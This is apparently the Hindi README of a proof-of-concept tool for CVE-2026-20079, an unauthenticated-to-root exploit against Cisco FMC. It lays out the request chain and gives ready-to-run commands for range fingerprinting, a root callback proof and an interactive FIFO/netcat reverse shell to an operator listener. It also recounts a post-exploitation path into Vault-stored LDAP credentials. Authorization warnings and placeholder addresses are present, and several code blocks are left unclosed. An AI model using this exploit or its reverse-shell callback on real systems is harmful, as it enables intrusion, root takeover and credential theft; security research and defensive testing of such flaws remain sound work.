## उदाहरण पतों को बदलें

नीचे दिए गए सभी `192.0.2.x` मान आरक्षित दस्तावेज़ीकरण पते हैं। वे
प्लेसहोल्डर हैं, खोजी गई लक्ष्य जानकारी नहीं, और उन्हें अधिकृत
मूल्यांकन से प्राप्त मानों से प्रतिस्थापित किया जाना चाहिए। कमांड
अपरिवर्तित रूप से काम करने की उम्मीद नहीं है।

| उदाहरण | अर्थ | इसके बजाय क्या उपयोग करें |
| --- | --- | --- |
| `https://192.0.2.10` | लक्ष्य FMC URL | अधिकृत FMC का सटीक स्कीम, पता और पोर्ट |
| `192.0.2.20` | वह पता जिस पर FMC वापस कनेक्ट होता है | ऑपरेटर के लिसनर का IP पता या DNS नाम **जैसा कि FMC से पहुंच योग्य हो** |
| `192.0.2.0/24` | उदाहरण फ़िंगरप्रिंट CIDR | स्पष्ट रूप से अधिकृत नेटवर्क रेंज |
| `4444` | कॉलबैक/लिसनर TCP पोर्ट | कॉलबैक सिस्टम पर एक स्वीकृत पहुंच योग्य पोर्ट |
| `0.0.0.0` | जहाँ लिसनर ऑपरेटर सिस्टम पर बाइंड होता है | इसे सभी स्थानीय इंटरफेस पर सुनने के लिए रखें, या एक स्थानीय इंटरफेस पता उपयोग करें |
| `192.0.2.10` in `--expected-callback-source` | कॉलबैक का अपेक्षित स्रोत | लिसनर द्वारा देखा गया FMC स्रोत पता; जब NAT इसे अनिश्चित बनाता है तो इस विकल्प को हटा दें |
| `http://127.0.0.1:8080` | वैकल्पिक स्थानीय इंटरसेप्टिंग प्रॉक्सी | प्रॉक्सी URL जो वास्तव में ऑपरेटर सिस्टम पर सुन रहा है |

### `--callback-host` चुनना

इस नियम का उपयोग करें: **FMC के दृष्टिकोण से, कौन सा पता ऑपरेटर के
लिसनर तक पहुँचता है?** वह पता `--callback-host` है।

| नेटवर्क पथ | विशिष्ट `--callback-host` मान |
| --- | --- |
| ऑपरेटर और FMC एक ही रूटेड नेटवर्क पर हैं | ऑपरेटर सिस्टम का पहुंच योग्य `eth0`, `en0`, या अन्य LAN पता |
| ऑपरेटर VPN के माध्यम से FMC तक पहुँचता है | पहुंच योग्य VPN इंटरफेस पता, जैसे `tun0` या `utun`, जब FMC के पास उसका रूट हो |
| ऑपरेटर NAT या फ़ायरवॉल के पीछे है | वह सार्वजनिक IP या DNS नाम जिसका चयनित पोर्ट ऑपरेटर सिस्टम पर फ़ॉरवर्ड किया गया है |
| कॉलबैक टनल या VPS उपयोग किया जाता है | पहुंच योग्य टनल एंडपॉइंट या VPS पता |

`--callback-host` के लिए `127.0.0.1` या `0.0.0.0` का उपयोग न करें। `127.0.0.1` FMC को ही संदर्भित करेगा, जबकि `0.0.0.0` एक लिसनर बाइंड मान है, गंतव्य नहीं। सुनिश्चित करें कि रूटिंग, फ़ायरवॉल नियम और कोई भी पोर्ट फ़ॉरवर्डिंग FMC को `--callback-port` पर `--callback-host` तक पहुँचने की अनुमति देते हैं।

`--listen-host` केवल स्थानीय है: यह उस इंटरफेस का चयन करता है जिस पर एकीकृत लिसनर प्रतीक्षा करता है। इसका डिफ़ॉल्ट, `0.0.0.0`, हर स्थानीय इंटरफेस पर सुनता है। यह FMC को यह नहीं बताता कि कहाँ कनेक्ट करना है। इसलिए, `--callback-host` और `--listen-host` भिन्न हो सकते हैं, विशेष रूप से NAT के पार।

### कार्यशील उदाहरण: ऑपरेटर और FMC एक ही नेटवर्क पर

इस काल्पनिक, केवल-दस्तावेज़ीकरण लैब को मान लें:```text
Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

प्रवाह इस प्रकार है: ऑपरेटर `192.0.2.10` पर HTTPS अनुरोध भेजता है, फिर FMC ऑपरेटर के `192.0.2.20:4444` पर वापस कनेक्ट होता है। वास्तविक मूल्यांकन में, कमांड चलाने से पहले दोनों IP पतों को बदलें और वापसी मार्ग की पुष्टि करें। यदि FMC ऑपरेटर के `eth0` पते तक नहीं पहुँच सकता है, तो इसके बजाय ऊपर वर्णित पहुँच योग्य VPN, NAT, टनल, या VPS पते का उपयोग करें।

## मोड और त्वरित कमांड संदर्भ

| मोड | नेटवर्क या लक्ष्य प्रभाव | सफलता क्या स्थापित करती है |
| --- | --- | --- |
| `--fingerprint` | केवल GET अनुरोध | संभावित FMC वेब सतह; भेद्यता की पुष्टि नहीं |
| `--check` | सर्वर-साइड सत्र स्थिति को उन्नत करता है | प्रमाणीकरण बायपास और एक एक्शन टोकन तक पहुँच |
| `--proof` | एक सीमित कॉलबैक पेलोड लिखता और चलाता है | इंटरैक्टिव शेल के बिना, रूट निष्पादन और क्लीनअप |
| `--exploit` | एक FIFO/netcat पेलोड लिखता और चलाता है | इंटरैक्टिव रूट कॉलबैक, या `--auto-verify` के साथ सीमित सत्यापन |

तीनों उदाहरण मानों को एक बार सेट करें, प्रत्येक को अधिकृत लक्ष्य से बदलें,
ऑपरेटर कॉलबैक पता, और पोर्ट:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

> [!IMPORTANT]
> फ़िंगरप्रिंटिंग एक अनुमानात्मक उत्पाद-पहचान चरण है, कोई भेद्यता जाँच नहीं। `MATCH` और `LIKELY` यह सिद्ध नहीं करते कि लक्ष्य प्रभावित है या शोषण योग्य है, और `NO_MATCH` FMC को नकारता नहीं है। रिवर्स प्रॉक्सी, अनुकूलित लॉगिन पेज, एक्सेस नियंत्रण, नेटवर्क विफलताएँ, या उत्पाद परिवर्तन परिणाम को प्रभावित कर सकते हैं।

फ़िंगरप्रिंटिंग नेटवर्क अनुरोध भेजता है लेकिन प्रमाणीकरण बायपास या RCE श्रृंखला नहीं चलाता। `--check`, `--proof`, या `--exploit` उपयोग करने से पहले नीचे दिए गए वर्गीकरण विवरण, मोड विवरण, और सत्र-स्थिति चेतावनी पढ़ें।

> [!WARNING]
> स्पष्ट लिखित प्राधिकरण के बिना `--check`, `--proof`, या `--exploit` न चलाएँ जो लक्ष्य परिवर्तनों और प्रमाण विधि को कवर करता हो। पहले पूर्वापेक्षा, सत्र-स्थिति सीमा, और कॉलबैक आवश्यकताओं को पढ़ें।

## एक्सप्लॉइट श्रृंखला कैसे काम करती है

सक्रिय श्रृंखला `CGISESSID=csm_processes` को `/login.cgi?logon=Continue` पर भेजती है, प्रकाशित `report:snortrules` मशीन क्रेडेंशियल का उपयोग करती है, `/ui/user/general` से `sf_action_id` निकालती है, `validateLicense` के माध्यम से Makeself-प्रारूप स्क्रिप्ट लिखती है, और इसे `SF::UI::DataObjectLibrary::upgradeReadinessCall` के माध्यम से ट्रिगर करती है।

## महत्वपूर्ण पूर्वापेक्षा

प्रभावित सॉफ़्टवेयर संस्करण परीक्षण के समय हमेशा शोषण योग्य नहीं होता। बूट-निर्मित `csm_processes` सत्र अभी भी मौजूद होना चाहिए। सामान्य प्रमाणित UI गतिविधि और सत्र सफ़ाई इसे हटा सकती है। केवल इस पूर्वापेक्षा को पूरा करने के लिए प्रोडक्शन FMC को रिबूट न करें।

## सत्र-स्थिति सीमा

`--check`, `--proof`, और `--exploit` मोड सर्वर-पक्ष `csm_processes` सत्र को उन्नत करते हैं। PoC उस सत्र को उसकी मूल आंशिक स्थिति में लौटाने का प्रयास नहीं करता क्योंकि कोई विक्रेता-प्रलेखित डाउनग्रेड क्रिया उपलब्ध नहीं है। क्लाइंट कुकी साफ़ करने से सर्वर-पक्ष परिवर्तन पूर्ववत नहीं होगा, जबकि लॉग आउट करना, समाप्ति को बाध्य करना, या डेटाबेस प्रविष्टि को हटाना सत्र को पुनर्स्थापित करने के बजाय नष्ट कर देगा और बाद के सत्यापन या उपकरण व्यवहार में हस्तक्षेप कर सकता है। स्वचालित सफ़ाई सुविधाएँ केवल अस्थायी RCE फ़ाइलों को हटाती हैं; वे सत्र स्थिति को पुनर्स्थापित करने का दावा नहीं करतीं। `--fingerprint` उस सत्र का उपयोग या संशोधन नहीं करता।

## लक्ष्य रनटाइम पूर्वापेक्षाएँ

दोनों कॉलबैक पेलोड के लिए आवश्यक हैं:

- एक संगत POSIX-शैली `/bin/sh`।
- `rm` और `command`।
- लक्ष्य के निष्पादन `PATH` के माध्यम से उपलब्ध `nc`, `netcat`, या `ncat` में से एक।
- FMC से दिए गए कॉलबैक पते और पोर्ट तक आउटबाउंड TCP कनेक्टिविटी।

इंटरैक्टिव `--exploit` पेलोड को अतिरिक्त रूप से `mkfifo` की आवश्यकता होती है। वन-शॉट `--proof` पेलोड FIFO या इंटरैक्टिव शेल नहीं बनाता।

पेलोड अपना कॉलबैक करने का प्रयास करने से पहले तीन समर्थित नेटकैट कमांड नामों की जाँच करता है। यदि कोई मौजूद नहीं है, तो यह अपने क्लीनअप ट्रैप के माध्यम से बाहर निकल जाता है। चूँकि त्रुटि ब्लाइंड सर्वर-पक्ष निष्पादन पथ के अंदर होती है, परीक्षक विस्तृत दूरस्थ त्रुटि संदेश के बजाय लापता कॉलबैक देखता है।

`--auto-verify` Python की socket लाइब्रेरी का उपयोग करता है और उसे स्थानीय netcat स्थापना की आवश्यकता नहीं होती। मैनुअल-लिसनर मोड `nc`, `ncat`, `socat`, या किसी अन्य ऑपरेटर-चयनित TCP लिसनर का उपयोग कर सकता है।

## केवल-GET FMC फ़िंगरप्रिंटिंग

एक URL फ़िंगरप्रिंट करें:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

स्पष्ट रूप से अधिकृत नेटवर्क रेंज को फ़िंगरप्रिंट करें:```bash
python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256

सफलता के लिए अपेक्षित HTTP 302 सत्र उन्नयन और एक 200 प्रतिक्रिया दोनों आवश्यक हैं, जिसमें एक सत्र-विशिष्ट `sf_action_id` हो।

PoC पूरे एक्शन टोकन को अनुरोध श्रृंखला के लिए मेमोरी में रखता है, लेकिन केवल एक छोटा फिंगरप्रिंट प्रिंट करता है। पूरे टोकन वाले कच्चे प्रतिक्रिया निकायों को संवेदनशील सत्र साक्ष्य के रूप में मानें और उन्हें प्रकाशित न करें।

सफल जाँच के बाद, सर्वर-पक्ष सत्र उन्नत बना रहता है। उपकरण यह स्पष्ट रूप से रिपोर्ट करता है और अनप्रलेखित रोलबैक का प्रयास नहीं करता।

## वन-शॉट रूट प्रमाण

इसका उपयोग तब करें जब रूट निष्पादन साक्ष्य की आवश्यकता हो लेकिन एक इंटरैक्टिव शेल आवश्यक न हो:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --proof \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --expected-callback-source 192.0.2.10

कॉलबैक सिस्टम के लिए उपयुक्त केवल एक लिसनर कमांड चलाएँ, दोनों नहीं।

फिर चलाएँ:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444

PoC सटीक अस्थायी FIFO पथ प्रिंट करता है। FMC शेल से केवल उन दो ज्ञात एक्सप्लॉइट आर्टिफैक्ट्स को हटाएं:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp

`--auto-verify` कॉलबैक के माध्यम से केवल निम्नलिखित क्रियाएँ करता है:

1. `id` चलाता है और `uid=0(root)` की आवश्यकता होती है।
2. `hostname -f` और FMC बिल्ड डायरेक्टरी का नाम एकत्र करता है।
3. इस रन द्वारा बनाए गए सटीक रैंडमाइज़्ड FIFO और `/var/tmp/license.tmp` को हटाता है।
4. सत्यापित करता है कि दोनों पथ अनुपस्थित हैं।
5. कॉलबैक से बाहर निकलता है।

उत्पन्न पेलोड निष्पादन शुरू होते ही `/var/tmp/license.tmp` को भी अनलिंक करता है और दोनों अस्थायी पथों के लिए शेल-एग्ज़िट/सिग्नल क्लीनअप हैंडलर स्थापित करता है। स्वचालित सत्यापन फिर भी एक स्वतंत्र स्पष्ट क्लीनअप निष्पादित करता है और उसकी जाँच करता है। यदि कोई लेखन प्रयास किया जाता है लेकिन कॉलबैक या क्लीनअप प्रमाण अधूरा है, तो PoC गैर-शून्य स्थिति के साथ बाहर निकलता है और उन दो सटीक पथों को प्रिंट करता है जिनके लिए अधिकृत मैन्युअल समीक्षा की आवश्यकता हो सकती है।

यदि कॉलबैक पता स्थानीय बाइंड पते से भिन्न है, तो बाद वाले को अलग से निर्दिष्ट करें:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --exploit \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --auto-verify \
  --listen-host 0.0.0.0 \
  --callback-wait 60

Failure to receive a callback does not distinguish among a patched target, a missing boot session, blocked egress, an unavailable/incompatible target-side netcat implementation, or another runtime failure.

स्वचालित Vault एन्यूमरेशन, क्रेडेंशियल निष्कर्षण, पर्सिस्टेंस, और लैटरल मूवमेंट को जानबूझकर बाहर रखा गया है। CVE-2026-20079 को सिद्ध करने के लिए उन गतिविधियों की आवश्यकता नहीं है और वे पर्यावरण-विशिष्ट प्राधिकरण और कॉन्फ़िगरेशन पर निर्भर करती हैं।

## PoC FIFO/netcat का उपयोग क्यों करता है

पहली मैन्युअल रीप्रोडक्शन ने Bash `/dev/tcp` कॉलबैक का उपयोग किया। दोनों HTTP
एक्सप्लॉइट चरणों ने अपेक्षित प्रतिक्रियाएँ लौटाईं, लेकिन कोई कनेक्शन नहीं आया।
इससे पता चला कि अकेले HTTP स्थिति निष्पादन प्रमाण नहीं है और क्यों
शेल-विशिष्ट कॉलबैक सुविधाओं को किसी एप्लायंस पर मान नहीं लिया जाना चाहिए।

सफल पुनःप्रयास ने FIFO/netcat अनुकूलता पैटर्न का उपयोग किया, जो दस्तावेज़ित
सार्वजनिक शोध में है। इसलिए यह PoC सीधे उस सिद्ध पैटर्न
पर जाता है और जानबूझकर असफल `/dev/tcp` विधि को दोबारा नहीं आज़माता। यह जाँचता है
`nc`, `netcat`, या `ncat` के लिए, एक वास्तविक कॉलबैक और `uid=0(root)` की
स्वचालित मोड में आवश्यकता होती है, और कॉलबैक या क्लीनअप प्रमाण अनुपस्थित होने पर गैर-शून्य लौटाता है।
यह ब्लाइंड कॉलबैक विफलता का सटीक कारण निर्धारित नहीं कर सकता, इसलिए यह
संभावित रनटाइम और नेटवर्क पूर्वापेक्षाओं की रिपोर्ट करता है, बजाय यह दावा करने के कि
टारगेट पैच किया गया है।

## पोस्ट-एक्सप्लॉइटेशन दायरा

यह रिपॉज़िटरी CVE को एक अनप्रमाणित अवस्था से सत्यापित रूट कॉलबैक और क्लीनअप तक स्वचालित करती है। यह क्रेडेंशियल संग्रह, गुप्त निर्यात, या लैटरल मूवमेंट को **नहीं** स्वचालित करती है।

एक अधिकृत मूल्यांकन के दौरान, परिणामी रूट शेल ने FMC पर स्थानीय रूप से चल रही HashiCorp Vault सेवा को उजागर किया। एक एप्लायंस-स्थानीय Vault क्लाइंट टोकन ने एक कॉन्फ़िगर किए गए LDAP क्रेडेंशियल रिकॉर्ड तक पहुँच की अनुमति दी, और उस क्रेडेंशियल ने बाद में एक अधिकृत LDAPS बाइंड पूरा किया। यह एक परिवेश से देखा गया पोस्ट-एक्सप्लॉइटेशन पथ है, न कि CVE-2026-20079 की सार्वभौमिक संपत्ति या पूर्वापेक्षा।

पहले व्यक्ति की शोध कहानी के लिए [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) देखें: सार्वजनिक पृष्ठभूमि, मैन्युअल एक्सप्लॉइटेशन प्रक्रिया, असफल कॉलबैक, सफल अनुकूलता पेलोड, देखा गया पोस्ट-एक्सप्लॉइटेशन पथ, सीखे गए सबक, और इस टूल का अंतिम विकास।

## वैकल्पिक प्रॉक्सी

इंटरसेप्टिंग प्रॉक्सी में अनुरोधों को देखने के लिए:```bash
python3 CVE-2026-20079.py \
  --target https://192.0.2.10 \
  --check \
  --proxy http://127.0.0.1:8080

## संदर्भ

- [Cisco परामर्श](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [VulnCheck तकनीकी विश्लेषण](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)

## कानूनी

केवल उन प्रणालियों पर उपयोग करें जो आपकी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
यह प्रूफ ऑफ कॉन्सेप्ट सर्वर-साइड सत्र स्थिति को बदल सकता है और कमांड निष्पादित कर सकता है
root के रूप में। प्राधिकरण प्राप्त करना, सुरक्षित दायरा और प्रूफ सीमा निर्धारित करना,
एकत्रित साक्ष्य की सुरक्षा करना, और लागू कानूनों, अनुबंधों, तथा विक्रेता या कार्यक्रम नियमों का
पालन करना आपकी ज़िम्मेदारी है। लेखक और
योगदानकर्ता अवैध पहुँच, विघ्न, या डेटा संग्रह को अधिकृत नहीं करते हैं।

सॉफ़्टवेयर बिना किसी वारंटी के "जैसा है" प्रदान किया जाता है, और लेखक तथा
कॉपीराइट धारक कानून द्वारा अनुमत पूर्ण सीमा तक दायित्व अस्वीकार करते हैं।
पूर्ण शर्तों के लिए [MIT लाइसेंस](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) देखें। यह उपयोग सूचना
लाइसेंस को संशोधित या प्रतिबंधित नहीं करती है।